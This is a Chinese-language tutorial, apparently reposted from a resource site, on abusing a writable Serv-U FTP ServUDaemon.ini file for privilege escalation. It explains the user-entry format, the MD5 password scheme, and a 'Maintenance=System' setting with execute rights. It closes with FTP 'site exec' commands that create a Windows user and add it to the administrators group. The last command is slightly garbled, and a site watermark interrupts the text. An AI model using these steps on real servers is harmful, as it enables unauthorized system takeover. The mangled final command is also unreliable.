Serv-U在设置用户以后会把配置信息存储与ServUDaemon.ini文件中,
Servu配置文件详解和提权
。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U 的文件目录,就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。假设本地受限用户可以浏览Serv-U 的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:
[GLOBAL]
Version=4.1.0.0 // Serv-U Ftp Server 版本号
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/
AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
ReloadSettings=True
#在修改INI文件后需加入此项,这时SERV-U会自动刷新配置文件并生效,此项随之消失.再有修改再次添加
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0 //主机IP以及域名,端口情况
[Domain1]
User1=hackgg|1|0
[USER=hackgg|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\ // 可以浏览的目录
TimeOut=600
Access1=C:\|RWAMLCDP
按规范添加一个用户,并且修改为
TimeOut=600
Maintenance=System //权限类型 多加一行 指定新加帐号为系统管理员
Access1=C:\|RWAMELCDP 这里填系统所在盘符
#必填.密码.算法为随机产生2个字符,如hr.将hr+明文密码(如test)使用MD5加密,如MD5(“hrtest”,生成密码后将所有小写字符变为大写
#在最前加上这两个随机字符”hr”+”1589A4F0334FDF55D52F26DFA2D3CCEB”,生成最终密码
标准的serv-u用户配置段例
[Domain1]
User1=admin|1|0
User2=test|1|0
[USER=admin|1]
Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB
HomeDir=g:\
RelPaths=1
DiskQuota=1|153600000|0
TimeOut=600
Access1=g:\|RWAMLCDP
[USER=test|1]
Password=hr1589A4F0334FDF55D52F26DFA2D3CCEB
HomeDir=f:\test
RelPaths=1
DiskQuota=1|153600000|0
TimeOut=600
Access1=f:\test|RWAMLCDP
以下这一行是权限设置,解释一下各参数代表的含义
Access1=g:\ RWAMELCDP
#必填.对于目录的存储权限,默认权限为RWAMLCDP.权限排列无需按照顺序.
# 格式 Access序号 = 目录 权限
#R 读取
#W 写入
#A 附加
#M 修改
#E 执行–由于安全原因,所有帐号均不能开启此权限
#L 目录列表
#C 建立目录
#D 删除目录
#P 将权限继承给子目录
建帐号成功后开始利用
ftp>cd system32 //进入system32目录
250 Directory changed to /WINDOWS/system32
ftp>quote site exec net.exe user sasa 1111 /add //利用系统的net.exe文件加用户,
电脑资料
《Servu配置文件详解和提权》(https://www.unjs.com)。ftp>quote site exec net.exe localhost administrators pchack /add //提升为超级用户